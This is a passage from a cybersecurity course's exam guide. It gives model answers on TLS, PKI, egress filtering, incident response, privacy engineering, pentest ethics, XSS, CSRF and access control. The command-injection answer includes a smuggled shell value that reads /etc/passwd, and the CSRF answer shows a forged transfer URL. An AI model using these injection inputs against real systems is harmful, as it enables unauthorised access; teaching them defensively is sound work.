(1) Handshake phase: The client sends a ClientHello containing supported cipher suites, TLS version, and key-share values (ECDHE parameters). The server responds with a ServerHello selecting a cipher suite, its own key-share value, its certificate, and a certificate verify signature (proving it holds the private key for the certificate). Both parties use the exchanged key-share values to derive session keys via ECDHE. TLS 1.3 requires forward secrecy — only ECDHE and DHE key exchange are permitted. The handshake takes one round trip (1-RTT) compared to TLS 1.2's two.

(2) Record protocol phase: All application data is encrypted using the derived symmetric session keys with an AEAD cipher (AES-128-GCM, AES-256-GCM, or ChaCha20-Poly1305). Each record is separately encrypted and authenticated.

Key improvements in TLS 1.3: Removed RSA key exchange (no forward secrecy), removed deprecated ciphers (RC4, DES, 3DES, MD5), reduced handshake latency, encrypted server certificates during the handshake for privacy. Exam anchor: TLS 1.3 mandates PFS; TLS 1.2 permitted non-PFS RSA key transport (now deprecated).

Q340: Explain what a digital certificate is, what a Certificate Authority (CA) does, and what the chain of trust means. What happens when a certificate expires or is revoked?

Model Answer:

A digital certificate is a digitally signed document that binds a public key to an identity (a domain name, organisation, or person). The certificate contains: the subject's identity, the subject's public key, validity period, issuing CA, intended key uses, and the CA's digital signature over all these fields.

Certificate Authority (CA): A trusted third party that verifies applicants' identities and then issues signed certificates. When a CA signs a certificate, it asserts that it has verified the stated identity owns the public key. Web browsers and operating systems ship with a pre-installed list of trusted root CAs.

Chain of trust: CAs form a hierarchy. A root CA (self-signed, stored in trust stores) signs intermediate CA certificates. Intermediate CAs sign end-entity (server/client) certificates. When a browser receives a server certificate, it verifies the signature chain: server certificate signed by intermediate CA, intermediate CA signed by root CA, root CA in trust store. Each signature is verified cryptographically.

Certificate expiry: TLS connections to an expired certificate fail with an error. Expired certificates are a common operational failure — servers must renew before expiry (automation tools like Let's Encrypt's Certbot help).

Certificate revocation: If a certificate's private key is compromised, the CA can revoke it before expiry. Revocation is communicated via CRL (Certificate Revocation Lists — periodically published lists) or OCSP (Online Certificate Status Protocol — real-time per-certificate checks). A browser receiving a revoked certificate should refuse the connection. Practical limitation: CRL/OCSP checking is not always enforced; OCSP stapling (server includes current OCSP response in TLS handshake) improves this.

Q341: What is egress filtering and why is it important for security? Give three threats it mitigates.

Model Answer:

Egress filtering is the practice of inspecting and controlling outbound network traffic leaving an organisation's network or a system, not just inbound traffic. Most firewall deployments focus on inbound filtering (blocking unwanted connections from the internet) but neglect outbound flows.

Three threats it mitigates:

- (1) Command-and-control (C2) communications: Malware and reverse shells typically initiate outbound connections from compromised hosts to attacker-controlled servers. Egress filtering that blocks unexpected outbound connections (unusual destination ports, unexpected IP ranges, domains not in a whitelist) can prevent or detect malware from receiving instructions or exfiltrating data even after initial compromise.
- (2) Data exfiltration: An insider or malware exfiltrating data must transmit it outbound. Egress controls limiting large volumes of outbound traffic to known business destinations, or blocking outbound connections on data-transfer ports to unexpected destinations, create friction that may prevent or detect exfiltration.
- (3) Reverse shell callbacks: Penetration testing and malware both use reverse shells — the compromised host calls out to the attacker's listener. Egress filtering that restricts which internal hosts may make outbound TCP connections to which external ports blocks many reverse shell configurations, forcing attackers to use more conspicuous or complex techniques (DNS tunnelling, HTTPS callbacks to legitimate-looking domains).

Practical implementation: default-deny egress with explicit allow rules for required business traffic (DNS to known resolvers, HTTPS to known CDNs, SMTP via mail gateway). Monitor egress logs for anomalies.

Q342: Compare stateless and stateful packet inspection. Give a specific scenario where stateless filtering creates a security gap that stateful inspection closes.**Model Answer:**

Stateless filtering: Examines each packet independently based on its header fields (source IP, destination IP, protocol, source port, destination port, TCP flags). Has no memory of previous packets in the same connection. Must either allow all return traffic explicitly (by permitting the ephemeral source-port range) or block it.

Stateful inspection: Maintains a connection table tracking the state of active TCP sessions and UDP pseudo-sessions. Knows whether a packet is part of an established session, a new connection attempt, or an out-of-context packet.

Scenario where stateless creates a gap: A stateless ACL on an outbound path must allow return TCP traffic. The rule permitting 'source port 80, destination any' allows return HTTP traffic. However, it also allows an attacker to send any TCP packet with source port 80 — including TCP RSTs, data packets, or connection attempts — because the stateless filter cannot distinguish valid return traffic from spoofed packets with the same port numbers.

Stateful inspection closes this gap: It maintains records of which internal hosts made which outbound connection requests. A packet arriving with source port 80 is only accepted if it matches an existing tracked session — specifically, if an internal host recently sent a SYN to port 80 on that external IP. Out-of-context packets (valid port numbers but no corresponding session state) are rejected. This eliminates the class of attacks that exploit overly broad stateless return-traffic rules.

Q343: What is a supply-chain attack? Give two real-world examples from software. How does it differ from a direct attack on a target organisation?

Model Answer:

A supply-chain attack targets a trusted supplier, vendor, dependency, or distribution mechanism used by the intended victims, rather than attacking the victims directly. Victims unknowingly import the malicious code through a channel they trust.

Example 1 — SolarWinds (2020): Attackers compromised the build system of SolarWinds and inserted malicious code into signed, legitimate Orion software updates. Approximately 18,000 organisations who trusted and deployed the update unknowingly installed the backdoor. The malware (SUNBURST) lay dormant before activating to exfiltrate data and establish C2 channels.

Example 2 — npm/PyPI typosquatting and dependency confusion: Attackers publish malicious packages to public package registries with names similar to widely used packages, or exploit dependency resolution to serve a public malicious package instead of a private internal one. When developers run package install, the malicious package is pulled and executed in development or CI/CD environments.

Difference from direct attack: A direct attack attempts to breach the target organisation's own defences. A supply-chain attack bypasses the target's defences entirely by compromising something the target already trusts — a software update, a library, a service provider, a hardware component. The victim's own security posture is largely irrelevant to the initial infection vector. Defences: software composition analysis (SCA), dependency pinning and hash verification, image signing, build-system isolation, vendor security assessments, and monitoring for unexpected outbound behaviour after software updates.

Q344: What is command injection? How does it differ from SQL injection? Give an example and explain the defence.

Model Answer:

Command injection is a vulnerability where user-controlled input is incorporated into an operating-system shell command without proper sanitisation, causing the OS to execute attacker-supplied commands in addition to the intended ones.

Example: A web application takes a filename parameter and executes: `os.system('ping -c 1 ' + user_input)`. If the user provides 'google.com; cat /etc/passwd', the shell executes: `ping -c 1 google.com; cat /etc/passwd` — the second command reads the password file.

Difference from SQL injection: SQL injection targets database query parsers — the injected text is interpreted as SQL syntax. Command injection targets OS shell parsers — the injected text is interpreted as shell commands. Both share the same root cause: untrusted data mixed with executable instructions. Both are prevented by structural separation of data from instructions.

Impact of command injection: Typically higher severity than SQL injection — successful command injection usually means direct code execution as the web server's OS user, allowing file reading, privilege escalation, reverse shell, and persistence. SQL injection is usually limited to database access (though it can lead to further compromise via stored procedures or file operations with database privileges).

Defences: (1) Avoid using shell commands from user input entirely — use language-native APIs (Python's `subprocess` with a list argument, not `shell=True`). (2) If shell commands are unavoidable, use allowlist validation — accept only known-safe values. (3) Run the web process with minimal OS privileges. (4) Apply OS-level controls (AppArmor, seccomp) to restrict what commands the web process can execute. (5)

Parameterised shell arguments (avoid concatenation).

Q345: Describe the incident response lifecycle. What are the six phases and what is the key output of each?

Model Answer:

- (1) Preparation: Establish the policies, tools, and team capabilities needed to respond effectively before incidents occur. Key outputs: documented incident response plan, defined roles and escalation paths, deployed logging and monitoring, practiced runbooks, contact lists (legal, PR, law enforcement, CERT).
- (2) Identification/Detection: Determine whether a security event is actually an incident. Key outputs: confirmed incident declaration, initial classification of type and severity, affected system list, timeline of first observed indicators, escalation to appropriate team members.
- (3) Containment: Limit the spread and impact of the incident without destroying forensic evidence. Key outputs: isolated systems (network disconnect, account disable), evidence preservation (memory images, disk snapshots, log exports taken before containment changes), stop ongoing damage while maintaining investigative capability.
- (4) Eradication: Remove the root cause of the incident from the environment. Key outputs: identified and removed malware, closed exploited vulnerabilities (patched, configuration changed), eliminated attacker persistence mechanisms (backdoors, rogue accounts).
- (5) Recovery: Restore affected systems to production in a secure and verified state. Key outputs: rebuilt or verified-clean systems returned to service, restored from verified backups, confirmed that eradication was complete, monitoring for recurrence.
- (6) Lessons learned / Post-incident review: Analyse what happened, why, and how to improve. Key outputs: incident timeline documentation, root cause analysis, identified gaps in detection or response, updated runbooks and controls, metrics for reporting.

Central trade-off throughout: forensic completeness (preserve evidence) versus business continuity (restore service). These goals partially conflict — containment may destroy evidence; rapid recovery may prevent thorough forensics. Prioritise both through preparation.

Q346: What is the difference between an indicator of compromise (IoC) and an indicator of attack (IoA)? Why is the IoA approach more proactive?

Model Answer:

Indicator of Compromise (IoC): Evidence that a compromise has already occurred or is in progress. Examples: known malicious IP address, file hash of known malware, domain name used for C2, registry key created by specific ransomware, specific URL pattern. IoCs are reactive — they describe characteristics of known threats that have already been studied and catalogued.

Limitation of IoC-only detection: Attackers who know which IoCs are in detection databases simply change them. A new malware variant with a different hash, a fresh C2 domain, or a different IP address evades all IoC-based signatures. Zero-day and novel attacks produce no known IoCs.

Indicator of Attack (IoA): Evidence of attacker behaviour or technique regardless of the specific tools used. Examples: a process spawning an unexpected child process (e.g., Word spawning PowerShell), large-scale file encryption activity, lateral movement patterns (unusual authentication from one host to many others in

short succession), privilege escalation sequences. IoAs focus on WHAT attackers do, not WHAT tools they use.

Why IoA is more proactive: (1) Attackers change tools frequently but their techniques change more slowly — they still need to establish C2, escalate privileges, move laterally, and exfiltrate data. (2) IoA-based detection can catch novel threats that have no known IoC. (3) IoA aligns with frameworks like MITRE ATT&CK, which catalogues techniques and sub-techniques that apply across many tool variants. (4) Behavioural detection can flag suspicious activity even before an incident is confirmed, enabling pre-breach containment.

Q347: What is the difference between a targeted and an opportunistic social engineering campaign? How does each affect the defender's prioritisation of controls?

Model Answer:

Targeted campaign (spear phishing, whaling, pretexting): The attacker selects specific individuals based on their access, authority, or information. Extensive OSINT research is conducted to personalise the lure — using real names, current projects, colleagues, and organisational vocabulary. The goal may be a specific transfer, document, or access credential.

Opportunistic campaign (mass phishing, spam phishing): The attacker sends identical or template lures to large numbers of recipients. No individual research is conducted. Success relies on volume — even a 0.1% response rate yields thousands of victims from a million-message campaign.

How this affects control prioritisation:

Against opportunistic attacks: Technical controls have the highest ROI because they filter at scale. Email gateways with spam/phishing filters, URL rewriting and sandboxing, attachment blocking, and SPF/DKIM/DMARC all reduce volume reaching users. User awareness raises the floor for the entire population.

Against targeted attacks: Technical controls are less reliable because personalised messages may bypass filters. Human verification procedures become critical — callback verification for financial requests, separation of duties for approvals, identity verification procedures that survive persuasion. Targeted attack defence must also include protecting OSINT exposure (limiting information published about staff, roles, and projects) and protecting high-value targets (executives, finance, IT admins) with enhanced controls (hardware MFA, privileged-account monitoring).

Q348: What is additive secret sharing (arithmetic sharing)? How does it differ from Boolean XOR sharing, and when is each preferred?

Model Answer:

Additive (arithmetic) secret sharing: A secret integer x is shared by choosing random values x_1 and computing $x_2 = x - x_1 \bmod q$ (for some prime q). Server A receives x_1 , Server B receives x_2 . Reconstruction: $x = x_1 + x_2 \bmod q$. Each share alone is uniformly random, revealing nothing about x .

Operations on additive shares: Addition is local — to compute $x + y$, each server adds their shares locally: $(x_1 + y_1)$ and $(x_2 + y_2)$. Multiplication is harder, requiring interaction (analogous to AND gates needing Beaver triples in Boolean sharing).

Boolean XOR sharing: A secret bit a is shared as a XOR r (Server A) and r (Server B) where r is random. Reconstruction: XOR the shares. XOR gates are local; AND gates require Beaver triples.

When each is preferred: Boolean XOR sharing is preferred for computations that map naturally to Boolean circuits — comparisons, equality checks, and logical operations. It is the default for MPC of functions expressible as Boolean gates. Additive arithmetic sharing is preferred for computations involving integer arithmetic — sums, averages, neural network layers, statistical aggregation. Arithmetic sharing makes addition free but multiplication expensive. In practice, many MPC systems convert between Boolean and arithmetic representations as needed — Boolean for comparisons, arithmetic for additions and multiplications.

Q349: Explain garbled circuits (Yao's protocol) at a conceptual level. How does it enable two-party computation without revealing inputs?

Model Answer:

Garbled circuits are a technique by Andrew Yao (1986) for secure two-party computation. The goal: Alice and Bob want to compute $f(a, b)$ where Alice knows a and Bob knows b . Neither wants to reveal their input to the other.

Conceptual mechanism: (1) Alice (the garbler) represents the function f as a Boolean circuit of AND/XOR gates. (2) For each wire in the circuit, Alice generates two random labels — one representing the value 0, one representing 1. The actual values of the labels reveal nothing about which is 0 and which is 1 to anyone who doesn't know the 'garbling key.' (3) For each gate, Alice computes an encrypted truth table: the four possible input-label combinations are encrypted so that only the correct output label can be decrypted given the input labels. (4) Alice sends Bob the garbled circuit (encrypted tables) and the labels corresponding to her own input a . (5) For Bob's input b , Alice cannot know b — she uses oblivious transfer (OT) to give Bob the labels for his input bits without learning which labels he requested. (6) Bob evaluates the garbled circuit gate by gate, decrypting each gate's output label using the input labels. He obtains the output label for the result, which Alice has told him maps to 0 or 1.

What each party learns: Bob learns $f(a, b)$ but not a directly. Alice learns nothing from the evaluation (she already committed the circuit). Neither learns the other's input beyond what the output implies.

Relationship to MPC: Garbled circuits are primarily used for two-party computation (2PC). For multi-party settings with many parties, secret-sharing protocols with Beaver triples are generally more efficient.

Q350: What is differential privacy? How does it differ from anonymisation, and why does it provide stronger guarantees?

Model Answer:

Differential privacy is a mathematical framework providing formal guarantees about the privacy of individuals in a dataset. A mechanism (algorithm) M satisfies ϵ -differential privacy if, for any two datasets D and D' that differ in exactly one individual's record, and for any output S : $P(M(D) \in S) \leq e^\epsilon \cdot P(M(D') \in S)$. In plain terms: no single individual's presence or absence in the dataset changes the output distribution by more than a controlled amount (governed by ϵ).

Core mechanism: Noise is added to query results — for example, instead of returning the exact count of patients with a condition, return the count plus a random value drawn from a Laplace or Gaussian distribution. The noise magnitude is calibrated to the sensitivity of the query and the chosen privacy budget (ϵ).

Difference from anonymisation: Anonymisation removes direct identifiers and hopes that re-identification is impossible. It provides no formal guarantee — researchers have repeatedly re-identified 'anonymous' datasets using auxiliary information (the Netflix Prize re-identification, the AOL search log re-identification). Differential privacy provides a provable, quantifiable bound on information leakage regardless of what auxiliary information an attacker possesses.

Why stronger guarantees: Differential privacy's epsilon bound holds against any attacker with any auxiliary information. A small epsilon means an individual's participation changes the output negligibly — an attacker gains little by knowing whether a specific person is in the dataset. Anonymisation provides no such bound and can be defeated by linkage attacks. Trade-off: differential privacy requires accepting some accuracy loss due to the added noise; smaller epsilon (stronger privacy) means more noise and less accurate results.

Q351: What are side-channel attacks? Name three types and explain how they bypass cryptographic security.

Model Answer:

Side-channel attacks exploit information leaked by the physical or computational implementation of a cryptographic system — not weaknesses in the algorithm itself. Even a perfectly secure algorithm (AES, RSA) can be broken if its implementation leaks observable information correlated with secret values.

Three types:

(1) Timing attacks: Measure variations in computation time that correlate with secret data. Example: a naive RSA implementation that performs modular exponentiation with an optimisation for zero bits in the exponent runs faster for some private key bits than others. By measuring operation time thousands of times, the attacker can statistically recover the private key bit by bit. Defence: constant-time implementations that take the same time regardless of key values.

(2) Power analysis: Measure the electrical power consumed by a device (smartcard, HSM) during cryptographic operations. Simple power analysis (SPA) reads the power trace directly; differential power analysis (DPA) uses statistical techniques across many traces. Power consumption varies with data being processed — XOR of high-Hamming-weight vs low-Hamming-weight values consumes different power. Defence: power balancing, masking (adding random values that cancel at the end), hardware countermeasures.

(3) Cache timing / speculative execution: In software running on shared hardware, a process can observe which memory cache lines were accessed by another process (spy-and-flush attacks, Meltdown, Spectre). If cryptographic keys are processed in ways that make cache access patterns key-dependent, the attacker can infer key bits from observed cache behaviour. Defence: constant-time code, process isolation, hardware mitigations.

Key lesson: A system is only as secure as its weakest implementation detail. 'AES is secure' does not mean 'this AES implementation is secure.'

Q352: What is the OSINT framework and how does a penetration tester use it before touching any system? Give five specific OSINT sources and what each reveals.

Model Answer:

The OSINT framework is the structured collection and analysis of publicly available information about a target before any active technical interaction. It establishes context that makes later technical activity more

targeted and effective.

How a tester uses it: Before any scanning or probing (which generates logs on the target), the tester builds a picture of the organisation's external exposure, technology stack, personnel, and infrastructure from sources the organisation has made publicly available. This shapes scope, identifies high-value targets, and guides what to scan for.

Five OSINT sources:

(1) WHOIS / RDAP: Domain registrar data revealing registration dates, registrant organisation, nameservers, and sometimes contact details. Reveals: ownership of domains, associated IP ranges (via registrant organisation).

(2) Shodan: A search engine for internet-connected devices and services. Reveals: open ports and services, banner information, TLS certificate subjects (which can enumerate additional domains/subdomains), geographic location of servers, historical exposure.

(3) LinkedIn: Professional network profiles. Reveals: employee names, roles, technologies in use (from job descriptions and individual profiles), team structures, contractors and service providers.

(4) GitHub / GitLab: Source code repositories. Reveals: technology stack, internal tooling, sometimes accidentally committed credentials (API keys, passwords), internal hostnames or IP addresses referenced in code, CI/CD configuration.

(5) Wayback Machine (web.archive.org): Historical snapshots of web pages. Reveals: old URLs that may still be live (forgotten admin panels, old APIs), previous technology choices (old version strings, removed but possibly still running endpoints), historical personnel information.

Q353: What is the difference between reconnaissance and scanning in a penetration test? What ethical boundaries apply to each?

Model Answer:

Reconnaissance is the information-gathering phase that occurs before any direct technical interaction with the target systems. It uses publicly available information (OSINT) and does not generate traffic to or from the target's own infrastructure.

Scanning is the active phase of directly probing the target's systems — sending network packets to discover hosts, open ports, service versions, and vulnerabilities. Scanning generates observable events on the target's network and may appear in logs.

Ethical boundaries for reconnaissance: Passive OSINT from public sources is generally acceptable, but scope and purpose still matter. Using information to harm individuals, accessing breach data beyond defined authorisation, or aggregating personal data beyond what is necessary for the engagement may violate ethics or law. Even public data requires a lawful purpose.

Ethical boundaries for scanning: (1) Written authorisation required: sending probes to any system without documented permission is illegal in most jurisdictions (Computer Fraud and Abuse Act in the US, similar laws in the EU) regardless of whether vulnerabilities are found. (2) Scope must be followed precisely: scanning systems adjacent to the agreed target but not in scope violates the engagement rules. (3) Timing: scanning outside agreed windows may disrupt production services. (4) Intrusive scans (aggressive NSE scripts, authenticated vulnerability scans) require specific authorisation — not implied by general scanning permission. (5) Stop conditions: if unexpected behaviour or potential harm is observed, stop and report

rather than continuing.

Core principle from Lecture 3: permission defines the boundary. The same tool used with permission is ethical; without permission it is a crime. The tool does not determine ethics — the authorisation does.

Q354: What is an intrusion prevention system (IPS) and how does it differ from an IDS? What is the primary risk of automatic blocking and how should it be managed?

Model Answer:

IDS (Intrusion Detection System): Monitors and analyses traffic or system activity, generates alerts when suspicious patterns are detected, but takes no automatic action. Human analysts decide what to do in response. Passive observation and alerting only.

IPS (Intrusion Prevention System): Sits inline in the traffic path and can take automated actions — dropping packets, blocking connections, resetting TCP sessions, quarantining hosts — when it detects suspicious activity. Acts without waiting for human review.

Primary risk of automatic blocking: The IPS may block legitimate traffic, causing a denial of service to benign users. This is especially dangerous when: (1) False positive rates are high (detection rules are overly broad). (2) The blocked traffic includes critical business processes or high-volume services. (3) An attacker deliberately triggers IPS rules against legitimate traffic to cause a self-inflicted denial of service (weaponising the IPS against the defender).

How to manage the risk: (1) Confidence thresholds: only auto-block on high-confidence detections; lower-confidence alerts should generate alerts for human review. (2) Blast radius: block narrowly (specific connection, specific source IP for a time window) rather than broadly (blocking an entire subnet). (3) Reversibility: temporary blocks (10-minute automatic expiry) are safer than permanent blocks. (4) Monitoring: all IPS actions must be logged and reviewed — automated actions without visibility defeat the purpose. (5) Graduated response: alert -> rate-limit -> challenge -> block, with humans in the loop at lower-confidence stages. (6) Tune regularly: IPS rules must be maintained and updated as network patterns and services change.

Q355: What is security awareness training and why is it necessary even with strong technical controls? What are three principles of effective security awareness programs?

Model Answer:

Security awareness training educates employees, contractors, and users about security threats, their role in preventing incidents, and the procedures they should follow when facing suspicious situations. It addresses the human element of the attack surface.

Why necessary even with strong technical controls: (1) Technical controls cannot eliminate all human decision points — phishing emails that bypass filters, physical access requests, social engineering phone calls, and insider threats all reach humans. (2) Users make consequential security decisions every day: whether to click a link, how to handle a credential request, whether to badge in a visitor. Without awareness, these decisions are made without security context. (3) Regulations (GDPR, NIS2) require organisations to train staff on security responsibilities. (4) Technical controls become less effective if users actively circumvent them — sharing passwords, disabling MFA, connecting personal devices to secure networks.

Three principles of effective programs:

(1) Recurring and updated: A one-time annual training event is insufficient. Threats evolve, new attack techniques emerge, and staff change. Effective programs deliver regular, short, relevant training updates — ideally tied to current threat intelligence and recent incidents.

(2) Actionable and specific: Vague advice ('be careful with emails') produces vague behaviour. Effective training teaches specific procedures: 'If you receive a request to transfer money, call the requester on their known number — never the number in the email. Use the official contact directory.' Concrete steps reduce uncertainty at decision time.

(3) Blame-free reporting culture: Users who fear punishment for clicking a phishing link will not report incidents. Effective programs reward reporting, treat near-misses as learning opportunities, and measure improvement over time rather than individual failures. A user who reports a suspicious email quickly enables a faster organisational response.

Q356: What is the principle of security through obscurity? Why is it considered insufficient as a sole security control, and when is limited obscurity acceptable?

Model Answer:

Security through obscurity is the practice of relying on secrecy about a system's design, implementation, configuration, or location as its primary security mechanism — rather than relying on the strength of the controls themselves.

Examples: hiding an admin login page at an obscure URL, using non-standard ports to 'hide' services, keeping the architecture secret hoping attackers won't find it, using proprietary and undocumented encryption algorithms.

Why insufficient as a sole control: (1) Obscurity is not robust — it fails completely once discovered (through enumeration, source-code leaks, insider knowledge, or reverse engineering). (2) Proper security controls continue to work even when the implementation is fully known. (3) Kerckhoffs's principle (cryptographic design principle): a cryptographic system should be secure even if everything about the system — except the key — is public knowledge. This generalises: a system should be secure even if attackers know its architecture. (4) It prevents defenders from getting useful feedback — if the only protection is secrecy, defenders cannot test or validate security without revealing it.

When limited obscurity is acceptable: Obscurity can be a useful supplementary layer that raises the cost of reconnaissance — suppressing service banners, using non-default ports, removing version information from responses. These do not substitute for proper controls but can reduce noise from automated scanning. Rule: obscurity is acceptable as one of multiple layers, never as the only layer.

Q357: What is data minimisation under GDPR Article 5(1)(c)? Give three engineering-level techniques for implementing it.

Model Answer:

Data minimisation is the GDPR principle requiring that personal data collected and processed must be 'adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed.' Organisations may not collect personal data speculatively ('just in case it might be useful') or as a default.

Three engineering-level techniques:

(1) Field-level minimisation at collection: Review every form field, API parameter, and sensor reading that collects personal data. For each field ask: Is this strictly necessary for the stated purpose? Can the purpose be achieved without it? Example: a contact form that asks for date of birth, employer, and phone number when only a name and email are needed to reply to an enquiry should remove the unnecessary fields entirely.

(2) Aggregation over individual records: Where possible, process and store aggregate statistics rather than individual records. Example: a transit analytics system reporting passenger counts per station per hour rather than individual journey records per card. The business intelligence goal is met without retaining individual-level movement data.

(3) Separation of identifying and operational data: Store the minimum identifying attributes needed for a business process in the operational database; store additional personal detail only where a specific, documented purpose requires it. Example: an online shop's order-fulfilment system needs a delivery address; it does not need a date of birth. The payment system may temporarily need card data; the recommendation engine needs only purchase category history, not full purchase records with identifying metadata.

Additional techniques: automatic deletion after purpose is fulfilled, pseudonymisation to prevent unnecessary identification in analytical workloads, and 'purpose-tagging' in the data model to enforce that data fields are only accessible to processing operations aligned with their stated purpose.

Q358: What is the right to erasure ('right to be forgotten') under GDPR Article 17? In what circumstances can an organisation refuse an erasure request? What are the engineering challenges?

Model Answer:

Article 17 gives data subjects the right to obtain erasure of personal data without undue delay when one of several conditions is met: the data is no longer necessary for the purpose it was collected; consent is withdrawn and there is no other legal basis; the person objects and there is no overriding legitimate interest; the data was unlawfully processed; erasure is required for compliance with legal obligation.

When an organisation can refuse: (1) Freedom of expression and information: archiving in the public interest (journalism, academic research, historical record). (2) Legal obligation: the controller is required by law to retain the data (e.g., accounting records must be retained 5–7 years in most jurisdictions). (3) Public health purposes. (4) Establishment, exercise, or defence of legal claims: data needed as evidence in ongoing or anticipated legal proceedings. These exceptions are not blanket — they must be applied to the specific data and purpose.

Engineering challenges: (1) Data map completeness: the organisation must know everywhere the data exists — primary database, read replicas, backups, caches, audit logs, third-party processors, archived exports. Erasing from the main database but not backups or downstream processors is insufficient. (2) Backup propagation: immutable backups cannot be selectively edited. A policy must define how erasure interacts with backup retention — typically backups are not immediately modified but restored data must be corrected before reuse. (3) Referential integrity: deleting a user record may cascade into related records in other tables or services that reference the user identifier. (4) Cascading to processors: Article 17(2) requires controllers to inform processors and sub-processors of erasure requests. (5) Audit logging tension: audit logs containing personal data may need to be retained for security but must comply with retention limits and erasure obligations.

Q359: What is a rules of engagement (RoE) document in penetration testing? What six elements should it contain and why is each necessary?

Model Answer:

A rules of engagement (RoE) document is the written agreement between the penetration testing team and the client that defines the precise scope, constraints, and conditions of an authorised engagement. It is the primary legal protection for both parties and the operational guide for the tester.

Six essential elements:

- (1) Scope definition: Exactly which IP addresses, domains, applications, and systems are in scope — and which are explicitly excluded. Necessary: unauthorised testing of out-of-scope systems is illegal even during an otherwise authorised engagement.
- (2) Permitted techniques and tools: Which testing techniques are approved (e.g., scanning, exploitation, social engineering, physical testing) and which are prohibited (e.g., destructive payloads, production database modification). Necessary: prevents accidental harm and sets mutual expectations.
- (3) Testing windows: Specific dates and times during which testing may occur. Necessary: ensures testing does not occur outside agreed hours, reducing operational impact and ensuring client is prepared.
- (4) Emergency contacts and stop conditions: Names, roles, and contact information for both client-side and tester-side contacts; conditions under which testing must immediately stop (e.g., discovery of active breach, unexpected service disruption, critical vulnerability requiring immediate disclosure). Necessary: enables rapid de-escalation if unexpected harm occurs.
- (5) Data handling requirements: How evidence, screenshots, and credentials found during testing must be stored, transmitted, and ultimately destroyed. Necessary: protects client confidential data collected during testing and addresses data protection obligations.
- (6) Reporting requirements: Format, classification, recipients, and timeline for the final report. Necessary: ensures findings are communicated in a controlled way and defines what the deliverable is.

Q360: What is the difference between a vulnerability scanner and a manual penetration test? In what situations should each be used and what does each miss?

Model Answer:

Vulnerability scanner: An automated tool that probes a system against a database of known vulnerability checks and reports findings based on version detection, configuration analysis, and specific tests. Examples: Nessus, OpenVAS/GVM, Qualys. Fast, repeatable, scalable across many hosts, maintains up-to-date CVE coverage.

What scanners miss: (1) Business logic flaws — the scanner has no knowledge of what the application is supposed to do; it cannot detect authorisation that is technically functional but logically flawed (e.g., a user can access another user's invoices by changing an ID parameter). (2) Chained vulnerabilities — a scanner finds individual issues but rarely determines that combining three low-severity issues yields a critical impact path. (3) Novel attack techniques and zero-days not yet in the scanner's database. (4) Context-specific issues — misconfigurations that are not generic but specific to the organisation's deployment.

Manual penetration test: A skilled tester with full understanding of the scope, threat model, and application logic manually investigates the target, applies judgment, creativity, and experience to find vulnerabilities and demonstrate their impact through controlled exploitation.

What manual testing misses: Coverage breadth — a manual tester on a time-limited engagement cannot check every URL, parameter, and component that an automated scanner can sweep in hours. Scanners ensure broad coverage of known patterns; manual testers go deep on specific areas.

When to use each: Scanners are appropriate for regular, broad coverage across an entire asset inventory and for finding known, patched-but-not-applied vulnerabilities. Manual penetration testing is appropriate for high-value systems, applications handling sensitive data, before major releases, for compliance requirements (NIS2, PCI-DSS), and to answer 'what can actually be achieved by a motivated attacker?'

Q361: What is cross-site scripting (XSS)? Distinguish reflected, stored, and DOM-based XSS. Why does HttpOnly on session cookies mitigate XSS-based session theft?

Model Answer:

Cross-site scripting (XSS) is a vulnerability where an attacker injects malicious scripts into web content that executes in other users' browsers. The browser trusts the script because it appears to originate from a legitimate site.

Reflected XSS: Malicious script is embedded in the URL or request parameter and immediately reflected in the server's response without being stored. The victim must be tricked into visiting a crafted URL (e.g., via phishing). Example: a search page that echoes the search term into the HTML without encoding — a link to `?search=...` executes when clicked.

Stored (Persistent) XSS: The malicious script is saved in the server's database or data store and served to all subsequent visitors. More dangerous because it requires no phishing per victim. Example: a comment field that stores unencoded user input — every visitor loading that page executes the attacker's script.

DOM-based XSS: The vulnerability is in client-side JavaScript that writes attacker-controlled data directly to the DOM without passing it through the server. The server response itself may be benign; the exploit lives entirely in browser execution.

Why HttpOnly mitigates session theft: The most common XSS payload is `document.cookie` — JavaScript reading the session cookie and sending it to the attacker's server. The `HttpOnly` attribute on a cookie instructs the browser to prevent JavaScript from accessing that cookie at all. Even if XSS code runs, `document.cookie` returns an empty string for `HttpOnly` cookies. However, `HttpOnly` does not prevent all XSS attacks — attackers can still perform actions on behalf of the victim (make authenticated requests, change settings, read page content) without stealing the cookie itself. Defence-in-depth: use `HttpOnly` AND output encoding AND Content Security Policy.

Q362: What is CSRF (Cross-Site Request Forgery)? Explain the attack mechanism and how CSRF tokens prevent it.

Model Answer:

CSRF is an attack where a malicious website causes a victim's already-authenticated browser to make an unintended request to a different site where the victim is logged in. The attacker exploits the browser's automatic inclusion of session cookies in requests.

Attack mechanism: (1) Victim logs into `bank.com` — browser stores a session cookie. (2) Victim visits attacker's malicious site (e.g., through a phishing link) while still authenticated to `bank.com`. (3) Attacker's page contains a hidden form or image tag that triggers a POST request to `bank.com/transfer?amount=5000&to;=attacker`. (4) The browser automatically includes the `bank.com` session cookie. (5) The bank processes the transfer as if the victim initiated it. The attacker never sees the response — they only need the state-changing action to occur.

Why cookies alone do not protect: The browser includes cookies for any request to a domain regardless of where the request was triggered. Session cookies prove authentication but not intent.

How CSRF tokens prevent it: A CSRF token is a secret, per-session, unpredictable value that the server includes in every HTML form (as a hidden field) and validates on every state-changing request. The attacker's malicious site cannot read the token because of the Same-Origin Policy — it can trigger a request but cannot read the response or pre-read the form to get the token. When the bank validates that the

submitted form includes the correct token, it confirms the request originated from its own page. Mitigations also include SameSite cookie attribute (Strict or Lax prevents cross-site cookie sending) and checking Origin/Referer headers.

Q363: What is broken access control (OWASP A01)? Describe three common patterns and explain why server-side enforcement is mandatory.

Model Answer:

Broken access control is the most widespread web application security failure category — when authorisation checks are missing, incorrect, or bypassable, allowing users to access resources or perform actions beyond their intended permissions.

Three common patterns:

- (1) Insecure Direct Object Reference (IDOR): An application uses user-controllable values (e.g., numeric IDs in URLs) as direct references to database records without verifying the requesting user is authorised to access that specific record. Example: `/invoice?id=1042` — changing 1042 to 1043 accesses another user's invoice. The fix: check that the authenticated user owns or has permission to access the requested object on every request.
- (2) Missing function-level access control: An application hides administrative UI from ordinary users but does not enforce access checks on the underlying API or URL. An attacker who discovers the admin endpoint (`/admin/deleteUser`) can access it directly despite no visible link. The fix: apply authorisation checks at the server, not just by hiding UI elements.
